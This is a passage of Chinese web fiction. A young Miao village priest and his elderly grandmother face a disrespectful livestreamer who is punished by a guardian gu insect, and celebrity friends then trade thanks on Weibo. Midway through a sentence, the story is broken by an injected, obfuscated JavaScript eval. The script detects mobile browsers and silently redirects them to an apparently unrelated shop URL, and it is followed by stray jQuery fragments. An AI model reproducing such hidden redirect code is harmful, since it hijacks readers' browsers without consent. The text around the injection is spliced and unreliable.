阿婆静静地听着，脸上始终带着慈祥的笑容。她知道，她的司南，已经长大了。他不再是那个只会躲在吊脚楼里，对着星星发呆的孩子了。他有了自己的朋友，有了自己的牵挂，有了属于自己的，温暖而明亮的世界。 夜深了，沈司南躺在那张熟悉的小床上，怀里抱着熊猫玩偶，指尖捏着萤石手链。窗外的星星，比成都的更亮，更密。他拿出手机，给许祭发了一条消息：“许祭，我到苗寨了。这里的星星，真的好亮。” 很快，许祭的回复就来了：“好好休息，明天我给你打视频电话。” 沈司南又给陈杬祝、绫司司、李诺言和许金鑫分别发了消息，告诉他们自己已经安全到达苗寨。 放下手机，沈司南抬头看向窗外的星空。他想起了在成都的日子，想起了民宿里的阳光，想起了大家的陪伴，想起了陈杬祝姐姐被欺负时，自己发的那条微博，想起了许金鑫哥哥那枚暗戳戳的珍珠纽扣。 他的嘴角，不自觉地向上扬起。 苗寨的夜晚，安静而温暖。火塘里的火苗，还在跳跃着。沈司南抱着熊猫玩偶，渐渐进入了梦乡。 梦里，他看到了成都的阳光，看到了横店的星星，看到了许祭温柔的笑容，看到了陈杬祝姐姐摇曳的裙摆，看到了绫司司和李诺言的笑脸，看到了许金鑫哥哥练功时的身影。 还有苗寨的吊脚楼，阿婆慈祥的笑容，和满天的繁星。 第二天一早，沈司南就被窗外的鸟鸣声叫醒了。他穿好衣服，走出吊脚楼，清晨的苗寨，笼罩在一层薄薄的雾气里，像一幅美丽的水墨画。 村民们已经开始了一天的劳作，孩子们在田埂上奔跑嬉戏，老人们坐在村口的大榕树下，聊着家常。 沈司南走到村口的大榕树下，看着熟悉的一切，眼底满是喜悦。他想起了许祭说的话，拿出手机，对着满天的朝霞，拍了一张照片。照片里，有错落有致的吊脚楼，有层层叠叠的梯田，还有那轮冉冉升起的太阳。 他将照片发送到了微信群里，配文：“苗寨的早晨，很美。” 微信群里瞬间热闹起来。 绫司司：「哇！司南！这也太好看了吧！我也好想去苗寨！」 李诺言：「司南！快给我们看看苗寨的银饰！我已经开始期待了！」 许金鑫：「好好享受在苗寨的日子，等你回来，我们一起去吃火锅。」 陈杬祝：「苗寨的朝霞真美。司南，要好好陪阿婆，姐姐等你的礼物。」 许祭：「等我忙完手头的工作，就去看你。」 沈司南看着大家的消息，脸上洋溢着幸福的笑容。他抬头看向远方，阳光透过树叶的缝隙洒下来，落在他的身上，温暖而明亮。 他知道，他在苗寨的日子，会充满温暖与快乐。他会陪阿婆聊天，会帮村民们干活，会去看漫山遍野的野花，会去寻找那最漂亮的银饰。 而成都的朋友们，横店的杬祝姐姐，练舞房的金鑫哥哥，都在远方，等着他回去。 苗寨的风，带着草木的清香。 沈司南的心里，装满了温暖与牵挂。 他站在村口的大榕树下，抱着熊猫玩偶，指尖捏着萤石手链，看着远方的天空，嘴角扬起一抹温柔的笑容。 这里是他的家乡，是他成长的地方。 而外面的世界，有他的朋友，有他的牵挂，有他的未来。 沈司南的故事，还在继续。 在苗寨的星空下，在成都的阳光里，在横店的风里，在每一个充满温暖与爱的日子里。 苗寨的清晨总是裹着薄雾，沈司南刚跟着阿婆到溪边取了祭祀用的清泉，竹篮里的艾草还挂着晶莹的露珠。村口大榕树下突然传来一阵嘈杂的声响，打破了寨子一贯的宁静——十几个人扛着摄像机、举着补光灯，正踩着青石板路往里走，为首的女人穿着一身与苗寨格格不入的亮片长裙，正是最近靠着猎奇乡村直播博眼球的余馨。 “大家快看！这就是传说中的原生态苗寨！”余馨举着自拍杆，镜头怼着路边晾晒的蜡染布，声音里带着刻意的夸张，“这里的一切都好原始啊，连路都是石头铺的，跟我们城市里完全不一样！” 直播间的弹幕瞬间刷满屏幕： 「哇！馨馨姐这是去哪里了？好有特色！」 「原生态苗寨？看起来好落后啊……」 「馨馨姐注意安全！这种地方会不会有虫子？」 「这蜡染布好丑啊，一点都不好看！」 沈司南抱着那只象征着苗寨平安的熊猫玩偶——那是许祭送他的，手腕上的萤石手链泛着淡蓝光晕，那是祭祀时用来安神的信物。他站在不远处，眉头轻轻皱了起来。他不喜欢余馨的声音，不喜欢她镜头里那种带着优越感的打量，更不喜欢直播间里那些对苗寨的诋毁。 阿婆将竹篮往地上一放，拄着拐杖走上前，挡在余馨面前，声音里带着苗寨人特有的坚定：“你们是谁？来我们寨子做什么？” 余馨这才收起自拍杆，上下打量了一番阿婆，嘴角勾起一抹敷衍的笑：“阿姨您好！我是主播余馨，来这里是想给我的粉丝们直播一下原生态苗寨的生活，让更多人了解这里！” “我们寨子不欢迎外人直播。”阿婆的声音没有丝毫退让，“这里是我们的家，是我们祖祖辈辈祭祀祈福的地方，不是你们博眼球的工具。” “阿姨，您这就不对了吧！”余馨身后的助理立刻上前，语气带着不满，“我们来这里是给你们寨子做宣传，多少人想请我们来我们都不来呢！” “宣传？”阿婆冷笑一声，“你们镜头里的，不是我们的寨子。” 就在双方僵持不下时，沈司南抱着熊猫玩偶走到阿婆身边，软糯的声音里带着不容置疑的坚定——那是属于苗寨祭祀的威严：“这里不欢迎你们。请你们离开。” 余馨这才注意到沈司南，当看到他手腕上那串泛着淡蓝光晕的萤石手链，以及他身上那件绣着苗寨图腾的素色外衫时，眼睛瞬间亮了起来。她来之前做过功课，知道这苗寨有个特殊的祭祀传承，眼前的少年，就是寨里最受敬重的小祭祀。 “哎呀！这就是苗寨的小祭祀吧！”余馨立刻凑上前，自拍杆直接怼到沈司南面前，“真没想到能在这里遇到你！快跟我的粉丝们打个招呼！让大家看看原生态苗寨的祭祀是什么样子的！” 沈司南猛地往后退了一步，将熊猫玩偶护在怀里，长睫垂落，遮住了眼底的厌恶：“不要拍我。也不要拍苗寨的一草一木。” “小祭祀，你别这么害羞嘛！”余馨根本不打算放过他，镜头死死跟着他的身影，“大家快看！这是苗寨的小祭祀！他身上的衣服还有手上的手链，都好有特色！看来我们的直播真的来对了，竟然能遇到这么特别的人！” 直播间的弹幕瞬间炸开了锅： 「卧槽！苗寨祭祀？这也太神秘了吧！」 「余馨牛逼啊！竟然能拍到这种画面！」 「这小祭祀看起来好小啊，他真的会祭祀吗？」 「快！馨馨姐！多拍点！我们要看苗寨的祭祀仪式！」 余馨的助理立刻上前，想要去拉沈司南的胳膊，却被沈司南狠狠甩开。沈司南的声音依旧软糯，却带着一丝颤抖的愤怒，还有属于祭祀的不容侵犯：“我说了，不要拍我。也不要拍这里。这是对苗寨的不敬。” “一个小毛孩子，装什么装！”余馨的脸色瞬间沉了下来，“你以为你是什么大人物吗？要不是我今天遇到你，谁知道你们这个破寨子！我告诉你，今天这直播，你必须配合！” 就在这时，村口传来一阵急促的脚步声，是寨子里的村民们。他们听到动静后，纷纷放下手里的活计赶了过来，将沈司南和阿婆护在身后。有人手里拿着祭祀用的铜铃，有人扛着守护寨子的桃木杖，脸上满是愤怒。 “你们快走！” “我们寨子不欢迎你们这些不敬之人！” “再不走，我们就按寨规处置！” 村民们的声音里满是愤怒，手里的铜铃被摇得叮当响，那是苗寨对入侵者的警告。气氛瞬间变得紧张起来。 余馨看着眼前愤怒的村民，眼底闪过一丝慌乱，却依旧强撑着面子：“你们想干什么？我告诉你们，我可是有几百万粉丝的主播！你们要是敢动我一下，我让你们寨子都出名！” “我们不需要这样的出名。”阿婆的声音依旧平静，却带着千钧之力，“这里是我们祖祖辈辈生活的地方，是我们祭祀天地、守护家园的圣地，容不得你们在这里撒野，容不得你们在这里不敬。” 沈司南从村民们身后走出来，拿出手机，指尖飞快地敲击着。他没有发微博，而是直接给许祭打了电话。电话刚一接通，他软糯的声音里就带着一丝哭腔：“许祭……有人来苗寨直播……他们不敬寨子……还拍我……” 电话那头的许祭，原本正在工作室处理文件，听到沈司南的声音，脸色瞬间沉了下来。他的声音里带着前所未有的冰冷：“司南，别害怕，把地址发给我，我马上过去。还有，不要让他们再拍你，也不要让他们伤害阿婆和村民。” “嗯。”沈司南用力点头，快速挂了电话，将苗寨的地址发了过去。 余馨看到沈司南打电话，眼底闪过一丝不屑：“怎么？想找人来救你？我告诉你，这里荒郊野岭的，谁都救不了你！” 她刚说完，直播间的弹幕突然开始疯狂刷屏： 「余馨！你太过分了！竟然欺负苗寨的老人和祭祀！」 「那是人家的圣地！你怎么能这样不敬！」 「我之前还挺喜欢你的，没想到你是这样的人！取关了！」 「快给沈司南和阿婆道歉！不然我们就去举报你的直播间！」 「陈杬祝！许金鑫！快来管管！有人欺负苗寨的小祭祀！」 原来，早就有认识沈司南的人——那些曾被他的纯粹打动，知道他是苗寨祭祀的网友，冲进了余馨的直播间，将事情的来龙去脉公之于众。越来越多的人加入进来，直播间的评论区瞬间被声讨的声音淹没。 余馨看着屏幕上的弹幕，脸色一阵青一阵白。她想要关掉直播，却发现直播间已经被愤怒的网友刷屏，平台的客服消息也疯狂弹出，提醒她直播内容涉嫌侵权和不敬，即将被强制下架。 就在这时，沈司南的手机响了，是陈杬祝打来的。沈司南立刻接起电话，软糯的声音里带着委屈：“杬祝姐姐……” “司南，别害怕。”陈杬祝的声音里带着难掩的焦急与坚定，“姐姐已经让工作室联系平台了，马上就能封了她的直播间。你待在阿婆身边，不要跟她起冲突，许祭很快就会到的。苗寨是神圣的，你们都不会有事的。” 余馨见软的硬的都没用，直播间的弹幕已经骂声一片，平台的警告弹窗更是跳个不停，心底的焦躁瞬间翻涌成戾气。她一把推开挡在身前的助理，踩着高跟鞋就往沈司南身前冲，亮片长裙的裙摆扫过路边的野草，带起一阵细碎的响动。 “你个装神弄鬼的东西还敢跟我犟！”余馨的声音尖利得像被踩住的猫，伸手就去抓沈司南的手腕——她要把那串泛着淡蓝光晕的萤石手链抢过来，对着镜头炫耀一番，也好挽回些直播间的人气。 沈司南下意识往后缩，怀里的熊猫玩偶被抱得更紧，眼底却不见半分孩童的惊恐，只有属于苗寨祭祀的清冷与不容侵犯。阿婆见状立刻举起拐杖去拦，却被余馨狠狠甩开，踉跄着退了两步，险些摔倒在青石板路上。 “放肆！”阿婆的声音里满是震怒，枯瘦的手指指向余馨，“你敢在苗寨对祭祀动手，不怕遭报应吗！” 余馨哪里听得进这话，指尖已经快要碰到沈司南的袖口。可就在这时，她的手背突然传来一阵钻心的刺痛，像是被什么东西狠狠蛰了一下。她尖叫着缩回手，低头一看，只见手背上不知何时爬了一只通体翠绿的小虫，虫身泛着诡异的金属光泽，正顺着她的皮肤快速爬动。 “什么东西！”余馨疯了似的甩手，想要把那只小虫甩下去，可那虫子却像粘在了她的手背上，怎么也甩不掉，反而钻心的疼痛顺着血管往四肢百骸蔓延，疼得她额头瞬间冒出冷汗，脸色惨白如纸。 沈司南看着那只小虫，长睫猛地一颤，软糯的声线里褪去了往日的温和，带着一丝属于祭祀的冷冽与威严：“那是护寨蛊。” 护寨蛊！ 这三个字像一道惊雷，炸得余馨身边的团队成员瞬间变了脸色。他们来之前多少听过苗寨的传说，知道这里的蛊虫神秘莫测，一旦被缠上，绝不是轻易能摆脱的。 阿婆拄着拐杖走上前，目光落在余馨手背上不断蠕动的绿虫身上，声音里没有丝毫温度：“护寨蛊只认不敬之人。你擅闯苗寨，惊扰圣地，还对我们的祭祀动手，这是它给你的教训。” 余馨的疼已经快要麻木，她看着手背上那只越来越大的绿虫，眼底满是恐惧，声音都在发颤：“救……救我！快把它弄走！我给你们钱！我有的是钱！” “苗寨的东西，不是钱能买的。”阿婆冷冷开口，“护寨蛊不会取你性命，但会让你尝尽不敬的滋味。什么时候你真心悔过，什么时候它才会离开。” 直播间的弹幕彻底炸了锅，之前还在看热闹的网友，此刻全是对余馨的嘲讽和对苗寨的敬畏： 「卧槽！真的有蛊虫！这就是苗寨的护寨蛊吗？」 「余馨活该！谁让她擅闯苗寨，还对沈祭祀动手！」 「护寨蛊只认不敬之人！这波真的是大快人心！」 「之前还觉得苗寨神秘，现在才知道，这是人家的守护之力啊！」 「余馨快道歉！真心悔过的话，蛊虫才会离开！」 余馨的团队成员已经彻底慌了神，有人想要上前帮余馨拍掉蛊虫，却被村民们手里的铜铃和桃木杖拦了下来。铜铃声叮当作响，带着一种神秘的力量，让那些想要靠近的人瞬间感到一阵心悸，不敢再往前一步。 沈司南看着疼得蜷缩在地上的余馨，眼底没有丝毫怜悯。他走到阿婆身边，轻轻扶着阿婆的胳膊，声线依旧软糯，却带着不容置喙的祭祀威严：“这里是苗寨的土地，容不得外人撒野。” 就在这时，余馨的手机突然响了，是平台打来的电话。她疼得接不住手机，只能任由助理替她接听。助理听完电话后，脸色惨白地看着余馨：“馨姐……平台……平台把我们的直播间永久封禁了，还说要追究我们的法律责任……” 一波未平，一波又起。 余馨彻底崩溃了，她躺在青石板路上，疼得眼泪直流，嘴里不断重复着：“我错了……我真的错了……求求你们……救救我……” 青石板路的尽头突然传来一阵急促的脚步声，伴随着清脆又带着几分急切的声音：“这边发生什么事了？！” 众人循声望去，只见苏菲菲举着自拍杆，身后跟着两个扛着设备的工作人员，正快步往这边赶。她今天穿了一身素净的棉麻长裙，与苗寨的景致格外相融，镜头里没有丝毫猎奇的夸张，只有对这片土地的尊重。 苏菲菲是最近靠分享小众人文风景爆火的主播，与余馨的猎奇博眼球不同，她的直播里满是对各地文化的敬畏与欣赏，圈了不少理智粉。她原本在附近的山涧拍摄溪流与古树，听到这边的嘈杂声，担心有人遇到麻烦，便立刻带着团队赶了过来。 “是苏菲菲！” “天呐！菲菲姐怎么也在这里？” “快！快把镜头转向菲菲姐！我们要看她！” 余馨直播间里原本还在疯狂刷弹幕的网友，瞬间被苏菲菲的出现吸引了注意力。就连余馨的团队成员，看到苏菲菲的瞬间，也下意识地愣了一下——他们自然知道苏菲菲，知道她的口碑和人气，更知道她最反感的就是这种对小众文化的不敬与猎奇。 苏菲菲挤开人群，一眼就看到了蜷缩在地上疼得浑身抽搐的余馨，以及她手背上那只通体翠绿的护寨蛊。她的目光快速扫过周围愤怒的村民，落在沈司南手腕上的萤石手链，以及他身上绣着苗寨图腾的素色外衫上，瞬间明白了什么。 她立刻放下自拍杆，对着自己的直播间沉声开口：“各位观众，我现在在一处原生态苗寨。这里是当地居民祖祖辈辈生活的圣地，也是他们心中最神圣的地方。刚才这位主播擅闯苗寨，惊扰圣地，还对寨中的祭祀动手，才引发了现在的状况。” 苏菲菲的声音冷静而清晰，镜头稳稳地对着现场，却刻意避开了沈司南的脸，只拍了拍他身上的图腾和村民们手里的铜铃：“苗寨的文化需要被尊重，而不是被当作博眼球的工具。每一片土地，每一种文化，都值得我们心怀敬畏。” 她的直播间瞬间安静了几秒，随后弹幕如潮水般涌来： 「菲菲姐说得对！文化不是工具！」 「余馨真的太过分了！她根本不配做主播！」 「还好菲菲姐在这里！她一定会帮苗寨和沈祭祀的！」 「之前就喜欢菲菲姐的尊重！果然没粉错人！」 「菲菲姐注意安全！不要被余馨牵连！」 苏菲菲没有理会弹幕，而是走到阿婆和沈司南身边，微微躬身，声音里满是歉意：“阿婆，沈祭祀，对不起，是我们同行失德，让她惊扰了圣地。” 阿婆看着苏菲菲眼中的真诚，紧绷的脸色稍稍缓和了一些，却依旧摇了摇头：“不关你的事。是她自己不敬。” 沈司南抬眼看向苏菲菲，眼底的清冷褪去了几分。他认出这个姐姐，之前在许祭的手机里见过她的直播，知道她是个尊重别人的人。他轻轻点了点头，没有说话，只是扶着阿婆的胳膊，让她靠得更稳一些。 余馨看到苏菲菲的瞬间，像是抓住了救命稻草，她疼得几乎说不出话，却依旧拼尽全力嘶吼：“苏菲菲！救我！快救我！我给你钱！我把我所有的粉丝都给你！” 苏菲菲转头看向她，眼底没有丝毫怜悯，只有冰冷的失望：“余馨，你错的不是闯了苗寨，而是从一开始就没有对这里的文化和人民，心怀半分尊重。护寨蛊的教训，或许能让你记住，什么是敬畏。” 她说完，不再看余馨一眼，而是对着自己的团队成员吩咐道：“把设备架好，直播不要停。我要让所有人都知道，苗寨的文化值得被尊重，而不是被践踏。” 她的团队成员立刻点头，快速将设备架好，镜头依旧避开了沈司南的脸，只对着苗寨的青石板路、路边的蜡染布，以及村民们手中的铜铃和桃木杖。 苏菲菲的声音再次响起，温柔却带着力量：“各位观众，这里的蜡染布是苗寨的奶奶们一针一线绣出来的，这里的青石板路是祖祖辈辈踩出来的，这里的每一棵树，每一朵花，都承载着苗寨的记忆。” 她的手指轻轻拂过路边的一株野草，声音里满是温柔：“我们可以欣赏，可以记录，但绝对不可以亵渎。这是对文化的尊重，也是对我们自己的尊重。” 就在这时，远处传来了汽车的鸣笛声。沈司南的手机响了，是许祭打来的：“司南，我到村口了。” 沈司南的眼底瞬间亮了起来，软糯的声音里带着一丝不易察觉的喜悦：“许祭，我在这里。” 苏菲菲的话音刚落，沈司南口袋里的手机便轻轻震动了一下，是许祭发来的微信消息。短短一行字，却带着让人安心的力量：「司南，我已经报警了。警方和当地文旅局的工作人员正在赶来的路上，很快就到。」 沈司南指尖微顿，抬眼望向村口的方向，刚才许祭的车笛声还在耳边回响。他轻轻捏了捏阿婆的胳膊，软糯的声线里多了几分笃定：「阿婆，许祭报警了。」 阿婆浑浊的眼底闪过一丝光亮，紧绷的肩膀微微松弛了些。她拄着拐杖，目光扫过蜷缩在地的余馨和她身后那群面色惨白的团队成员，声音里的冷意未减，却多了几分尘埃落定的平静：「天网恢恢，容不得谁在这里无法无天。」 苏菲菲恰好瞥见了沈司南手机屏幕上的消息，她立刻对着自己的直播间开口，声音清晰而坚定：「各位观众，刚才沈祭祀告诉我，他的朋友已经报警，同时联系了当地的文旅局。很快就会有工作人员前来处理这件事，我们只需耐心等待，相信相关部门会给苗寨和所有被惊扰的人一个公道。」 她的直播间弹幕瞬间沸腾，满屏都是对许祭的赞赏和对余馨的谴责： 「报警+文旅局！这波操作太绝了！从根上解决问题！」 「余馨不仅要受护寨蛊的教训，还要承担法律责任！活该！」 「文旅局一来，看她还怎么拿‘原生态’当噱头博眼球！这是破坏文化环境！」 「许祭是谁啊？也太靠谱了吧！瞬间安全感拉满！」 余馨的助理听到「报警」两个字，腿一软险些栽倒在地。他颤抖着掏出手机，想要联系律师，却发现双手抖得连屏幕都按不准。余馨本人更是面如死灰，护寨蛊带来的钻心疼痛还在蔓延，此刻又加上了对法律制裁的恐惧，整个人瘫在地上，连哭嚎的力气都快没了，嘴里只剩下断断续续的哀求：「别……别报警……我错了……我真的错了……」 没有人理会她的哀求。村民们依旧手持铜铃和桃木杖，沉默地守在沈司南和阿婆身前，铜铃偶尔发出清脆的声响，像是在为这片被惊扰的圣地安神。苏菲菲的团队则安静地守在一旁，镜头始终稳稳地对着现场，却依旧刻意避开沈司南的脸，只记录着苗寨的青石板路、路边的蜡染布，以及这场因不敬而起的闹剧。 沈司南低头看了看怀里的熊猫玩偶，指尖轻轻拂过玩偶的耳朵。那是许祭送给他的，此刻玩偶的眼睛正圆溜溜地看着前方，像是在陪着他一起等待正义的到来。他想起许祭在电话里的声音，冰冷却带着不容置疑的保护欲，心底的最后一丝不安也渐渐消散。 没过多久，远处的山路上便传来了警笛声和汽车引擎声。两道灯光刺破苗寨的薄雾，越来越近。沈司南的眼睛瞬间亮了起来，他松开扶着阿婆的手，快步走到村口的方向，却又在半路停下脚步，回头看了看阿婆，确定她站得稳当，才又继续往前。 警车和文旅局的工作车在村口停下，几名警察和工作人员快步走了下来。为首的警察看到现场的情况，先是皱了皱眉，随后走到阿婆和沈司南身边，声音严肃却带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037609|194640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着尊重：「老人家，这位先生，我们是接到报警来的。请问这里发生了什么事？」 阿婆还没开口，苏菲菲便率先走上前，将事情的来龙去脉清晰地叙述了一遍，同时将自己直播间的录屏调出来，作为现场证据：「警察同志，这位余馨主播擅闯苗寨，对苗寨文化进行猎奇式直播，还试图对沈祭祀动手，这才引发了后续的状况。我的直播间全程都有记录，可以作为证据。」 警察点了点头，示意身边的同事将余馨和她的团队成员控制起来。两名警察走到余馨身边，想要将她从地上扶起来，却被她手背上的护寨蛊吓了一跳。 沈司南见状，轻声开口：「那是护寨蛊，只咬不敬之人。等她真心悔过，蛊虫自然会离开。」 警察和文旅局的工作人员对视一眼，都从对方眼中看到了惊讶。文旅局的工作人员立刻走上前，对着阿婆和沈司南躬身致歉：「阿婆，沈祭祀，对不起，是我们的工作没有做到位，让无关人员惊扰了苗寨的圣地。我们一定会严肃处理这件事，同时加强对周边小众文化景点的保护，杜绝此类事件再次发生。」 阿婆轻轻点了点头，声音里的冷意终于散去了一些：「你们能重视就好。苗寨不求出名，只求安安稳稳，守着祖祖辈辈传下来的东西。」 余馨被警察架着，疼得浑身直抖，却再也不敢说一句硬话。她的团队成员则一个个垂头丧气，手里的设备被警察没收，等待他们的，将是法律的制裁和行业的封杀。 苏菲菲看着眼前的一幕，对着自己的直播间缓缓开口：「各位观众，事情已经得到了初步的解决。我想，这不仅是对余馨的教训，也是对我们所有人的提醒。每一种文化都有自己的尊严，每一片土地都有自己的神圣之处。尊重，永远是我们与人、与文化、与自然相处的第一准则。」 她说完，对着镜头微微鞠躬，随后示意团队成员关掉直播。 沈司南站在村口，看着警车和文旅局的工作车渐渐远去，直到车影消失在山路的尽头，才缓缓转过身。许祭不知何时已经走到了他的身边，伸手轻轻揉了揉他的头发，声音温柔得像苗寨的春风：「司南，没事了。」 沈司南抬起头，看着许祭眼中的宠溺与心疼，突然伸出手臂，轻轻抱住了他的腰，将脸埋在他的胸口，软糯的声音里带着一丝委屈，却更多的是安心：「许祭，你来了。」 陈杬祝刚结束《绫霄笙笙》的夜戏拍摄，坐在保姆车里，指尖划过手机屏幕上苏菲菲直播的录屏片段——镜头里刻意避开沈司南的脸，只将苗寨的青石板路、村民手中的铜铃，还有那份对文化的敬畏清晰记录。她的眼底漫过一阵温热，指尖在微博编辑框里反复斟酌，最终敲下一段带着真挚谢意的文字，配图是一张她亲手绘制的简笔画：苗寨的吊脚楼下，一个穿棉麻长裙的女孩站在一侧，守护着抱着熊猫玩偶的少年与拄着拐杖的阿婆。 @苏菲菲 刚刚结束拍摄，看到了苗寨的相关消息，也看完了你的直播录屏。 千言万语，最终只汇成一句感谢。谢谢你在司南和苗寨最需要的时候出现，谢谢你用镜头守住了苗寨的尊严，谢谢你刻意避开司南的脸，给予他和这片土地最妥帖的尊重。 司南是苗寨的祭祀，那里是他生于斯长于斯的圣地，不是任何人博眼球的工具。而你用行动告诉所有人，什么是对文化的敬畏，什么是对他人的守护。 没有你的挺身而出，不知道这场闹剧会走向何种境地。司南和苗寨，真的全靠你。?? 未来若有机会，希望能亲自向你道谢。也愿每一份对文化的尊重，都能被温柔以待；每一片神圣的土地，都能被妥善守护。 #陈杬祝 感谢苏菲菲# #文化敬畏始于尊重# 发送成功的提示弹出时，保姆车里的空气都带着一丝释然的温柔。助理刷着微博，声音里满是激动：“杬祝姐！评论区已经爆了！苏菲菲的粉丝和我们的粉丝都在互相道谢！” 陈杬祝笑着接过手机，指尖划过屏幕。 粉丝们的评论像潮水般涌来： 「杬祝姐好暖！这句话‘司南和苗寨全是靠你’直接戳中泪点！」 「苏菲菲真的太靠谱了！镜头避开沈祭祀这波操作，细节见人品！」 「双向奔赴的温柔！杬祝姐的感谢真诚，菲菲姐的帮助仗义！」 「谁能想到，一场闹剧最后竟成了尊重文化的教科书现场！」 「余馨活该！对比之下，苏菲菲的格局真的太大了！」 几乎是同时，#陈杬祝 感谢苏菲菲# 的话题以惊人的速度冲上热搜。点进话题里，全是陈杬祝的那条微博，还有网友们剪辑的苏菲菲直播名场面——她冷静地向观众解释苗寨文化，真诚地向阿婆和沈司南道歉，坚定地拒绝余馨的求救。 苏菲菲此时刚结束直播，正在整理设备，看到手机屏幕上弹出的微博提醒，点开看到陈杬祝的那条动态时，眼底瞬间漫过惊喜与感动。她几乎是立刻，就在陈杬祝的微博下回复： 「@陈杬祝 杬祝姐太客气了！保护苗寨的文化，守护司南和阿婆，是我应该做的。司南的纯粹，苗寨的神圣，都值得被所有人温柔以待。未来若有机会，我也很期待能和杬祝姐见面！」 这条回复瞬间被顶上热评第一，点赞数飞速飙升。两家粉丝在评论区和谐互动，一片温馨景象。 远在苗寨的沈司南，正靠在许祭的肩膀上，刷着陈杬祝的微博。看到那句“司南和苗寨全是靠你啊”时，他的长睫轻轻颤动，软糯的声音里带着一丝雀跃：“苏菲菲姐姐，真好。” 许祭低头看他，指尖轻轻拂过他的发顶，声音温柔：“嗯，她是个很好的人。” 阿婆坐在一旁，手里拿着针线，正在缝补一件绣着苗寨图腾的外衫。听到两人的对话，她抬起头，眼底带着慈祥的笑意：“这世上，还是好人多。” 成都的绫司司和李诺言，看到陈杬祝的微博时，瞬间红了眼眶。两人立刻在微博下留言，跟着陈杬祝一起感谢苏菲菲： 「感谢菲菲姐！你真的太仗义了！司南和苗寨有你，真好！」 练习室里的许金鑫，刚结束一天的训练，看到微博时，也立刻转发了陈杬祝的动态，配文：「感谢@苏菲菲对司南和苗寨的守护！尊重文化，守护纯粹，我们一直在路上。」 陈杬祝的手机还在不断地震动着，有来自苏菲菲的私信，有来自粉丝的祝福，还有来自工作室的消息，说品牌方看到了这件事，对她的三观和担当更加认可，想要进一步深化合作。 但陈杬祝此刻的心里，没有丝毫的商业喜悦，只有对苏菲菲的感谢，对司南的心疼，对苗寨的敬畏。 她抬头看向窗外，横店的夜空繁星点点，像极了苗寨的星空。 她知道，这场闹剧终会落幕。但苏菲菲的善良，司南的纯粹，阿婆的坚定，还有许祭的守护，都会像一颗颗明亮的星星，永远闪耀在这片夜空下。 而她，也会一直站在他们身边，用自己的方式，守护着那些值得被守护的人与事。 陈杬祝的微博评论区早已被热情的粉丝刷屏，她结束了和苏菲菲的私信互动后，便指尖轻划，开始在线回复粉丝的留言，每一条回复都带着她独有的温柔与真诚。 她先是点进一条高赞评论，那是粉丝发的「杬祝姐！看到司南没事真的太开心了！苏菲菲姐姐的格局真的好大！双向的温柔太好哭了！」 陈杬祝轻轻敲击屏幕：「是啊，看到司南平安就好。菲菲的善良和担当，真的很让人敬佩??」 紧接着，一条带着心疼的评论跳了出来：「杬祝姐一定很担心司南吧？隔着屏幕都能感受到你的紧张！」 她的指尖顿了顿，回复里带着一丝释然的柔软：「嗯，确实很担心。但幸好，有菲菲的帮助，有许祭的守护，还有大家的关心，司南和苗寨都好好的?」 一条关于文化尊重的评论被她翻到：「杬祝姐！你说的‘每一份对文化的尊重都该被温柔以待’真的说到我心坎里了！余馨真的太过分了！」 陈杬祝的回复坚定而有力：「文化没有高低贵贱，每一片土地的传承都值得被敬畏。余馨的教训，也是给所有人的提醒??」 还有粉丝关注到了她发的简笔画：「杬祝姐画的图也太可爱了吧！吊脚楼、棉麻长裙的菲菲姐、抱着熊猫的司南，还有阿婆！细节满满！」 看到这条，陈杬祝的嘴角不自觉上扬，回复道：「连夜画的小小心意～能被大家喜欢很开心！那是我心里最温暖的画面呀??」 一条来自苏菲菲粉丝的评论引起了她的注意：「菲菲粉来啦！第一次认识杬祝姐，被你的真诚圈粉了！以后我们一起守护美好！」 陈杬祝立刻回复，语气里满是友好：「欢迎呀！以后一起守护值得被守护的人与事～双向的奔赴最珍贵啦??」 还有粉丝关心起了后续：「杬祝姐！余馨会受到应有的惩罚吗？苗寨的后续保护有消息吗？」 她的回复带着笃定：「相信警方和文旅局会给出公正的处理结果，苗寨的保护也一定会得到重视。我们能做的，就是继续心怀敬畏??」 最后，她翻到了一条带着祝福的评论：「杬祝姐！司南！菲菲姐！还有所有善良的人！都要一直好好的！未来可期！」 陈杬祝的回复温柔而坚定：「会的！我们都会好好的！未来的日子，一起带着善意和敬畏，继续前行??」 陈杬祝的在线回复，像一阵温柔的风，瞬间吹暖了整个评论区。粉丝们纷纷截图，感慨「姐姐的回复好真诚」「被杬祝姐的温柔狠狠戳中」「这才是偶像的力量啊」。 原本就热度高涨的微博，因为她的在线互动，再次掀起一波小高潮，#陈杬祝在线回复粉丝# 的词条也悄悄爬上了热搜榜尾，满屏都是温馨与感动。 金紫荆奖的红毯现场，镁光灯如白昼般刺眼，红毯两侧的粉丝尖叫与媒体快门声交织成一片喧嚣。陈杬祝一袭酒红色丝绒长裙款款走来，裙摆曳地，领口的手工刺绣在灯光下泛着细腻的光泽，正是诺雅品牌为她量身定制的高定礼服。 她妆容精致，眉眼间带着恰到好处的温婉与从容，对着镜头微微颔首，举手投足间皆是沉淀多年的优雅。可就在她走到红毯中段，准备接受媒体采访时，人群中突然爆发出一阵刺耳的骂声，瞬间盖过了周围的喧嚣： “陈杬祝！滚出娱乐圈！” “爬爬奶茶的风波还没过去，你还有脸来走红毯？” “靠炒作cp博眼球，现在又代言高定，真把自己当大牌了？” “心疼余馨！你就是仗着有人撑腰！” 声音来自几个举着余馨应援牌的黑粉，他们冲破了安保的阻拦，疯狂地挥舞着手里的标语，脸上的狰狞与现场的华丽格格不入。 镁光灯瞬间调转方向，齐刷刷地打在陈杬祝身上，镜头里，她脸上的笑容微微一滞，眼底闪过一丝不易察觉的错愕，但很快便恢复了平静。她没有停下脚步，也没有回头去看那些黑粉，只是挺直了脊背，继续朝着采访区走去。 可那些恶毒的话语，却像针一样，密密麻麻地扎在她的心上。红毯两侧的粉丝瞬间愤怒了，他们大声地喊着陈杬祝的名字，试图用尖叫声盖过黑粉的骂声： “杬祝姐！不要理他们！” 